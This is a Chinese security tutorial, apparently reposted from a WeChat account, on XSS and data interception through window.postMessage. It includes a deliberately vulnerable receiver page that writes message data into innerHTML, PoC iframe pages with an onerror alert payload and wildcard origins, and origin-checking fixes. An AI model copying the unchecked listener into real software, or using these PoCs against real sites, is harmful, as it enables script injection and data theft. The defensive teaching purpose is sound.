渗透测试-postmessage xss

admin 2025年6月8日09:37:24评论5 views字数 2824阅读9分24秒阅读模式

介绍

看国外好多这种漏洞,刚好挖掘某 SRC 的时候也发现了类似的点,所以觉得还是有必要记录一下

介绍

postMessage() 方法用于安全地实现跨源通信。

参考 1:https://www.runoob.com/js/met-win-postmessage.html

参考 2:https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

渗透测试-postmessage xss
语法

我感觉就是给数据发送到 window 中,就这么简单。

至于出现 XSS,就是因为 window 对发送的数据处理不当造成的

看理论可能比较抽象,建议直接看例子

环境搭建

接收数据页面

挖 SRC 时,目标页面有类似的写法,主要是定位到EventListener

<!-- rec.html -->
<head><meta charset="UTF-8"></head>

<div id="receiveMessage">
Hello World!
</div>

<script>
window.onload = function() {
    window.addEventListener('message'function (e{  // 监听 message 事件
        alert(e.origin);
        document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
    });
}
</script>

发送数据页面

我们构造的发送数据的 POC

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>
  function pocFrame(win{
    let msg = "hello d4m1ts";

    win.postMessage(msg, '*');
  }
</script>
<iframe src="http://127.0.0.1:9000/rec.html" onload="pocFrame(this.contentWindow)"></iframe>

使用验证

先启动一个简单的 web 服务器,可以用 python

python3 -m http.server --bind 127.0.0.1 9000

然后访问http://127.0.0.1:9000/poc.html

渗透测试-postmessage xss
poc

XSS 利用

前面说了,出现 XSS,是因为 window 对发送的数据处理不当造成的,咱们分析一下这里的接收数据页面

渗透测试-postmessage xss
image-20220323092910200

所以我们只需要改一下 POC

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>
  function pocFrame(win{
    let msg = "hello d4m1ts<img src=x onerror=alert(1)>";

    win.postMessage(msg, '*');
  }
</script>
<iframe src="http://127.0.0.1:9000/rec.html" onload="pocFrame(this.contentWindow)"></iframe>

然后访问

渗透测试-postmessage xss
image-20220323093150710

也就成功造成了 XSS

修复方案

验证来源,也就是验证 origin。如下,只接受来自http://127.0.0.1:9001的 message

<!-- rec.html -->
<head><meta charset="UTF-8"></head>

<div id="receiveMessage">
Hello World!
</div>

<script>
window.onload = function() {
    window.addEventListener('message'function (e{  // 监听 message 事件
        alert(e.origin);
        if (e.origin === "http://127.0.0.1:9001") {
            document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
        } else {
            alert("hacker");
        }
    });
}
</script>

渗透测试-postmessage xss
修复

不成功的实例

某 SRC,分析源码发现了addEventListener

【创宇小课堂】渗透测试-postmessage xss
某SRC

继续往下分析,验证了origin,所以除非origin中存在可控页面,如允许上传 HTML,否则利用起来很难

假如我们可控origin,后面也会调用 jquery 中对象的text()方法,这个方法是自带有实体化编码的,所以就算绕过了也利用不了。

扩展

刚才我们的举例,其实是相当于伪造了发送端,然后目标为接收端,接收端对数据没有正确处理,从而导致了 XSS 漏洞。

那我们是否可以伪造接收端,然后截取到发送的数据呢?答案也是可以的

以上面的发送端为例

<!-- poc.html -->
<script>
  let msg = "hello d4m1ts<img src=x onerror=alert(1)>";
  window.parent.postMessage(msg, '*');
</script>

因为window.parent.postMessage(msg, '*');,第二个参数没有指定origin,所以我们可以构造 POC 如下:

<!-- poc2.html -->
<script type="text/javascript">
  onmessage = function(e{
    alert(e.origin)
    alert(e.data)
  };
</script>
<iframe src="http://127.0.0.1:9000/poc.html"></iframe>
【创宇小课堂】渗透测试-postmessage xss
数据劫持

也就成功接收到了数据

修复建议:

postMessage()指定第二个参数为指定的origin,如:

<script>
  let msg = "hello d4m1ts<img src=x onerror=alert(1)>";
  window.parent.postMessage(msg, 'http://127.0.0.1:9001'); // 限制只能给 http://127.0.0.1:9001 发送数据
</script>

原文始发于微信公众号(安全宇宙):【创宇小课堂】渗透测试-postmessage xss

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:37:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试-postmessage xsshttps://cn-sec.com/archives/842218.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息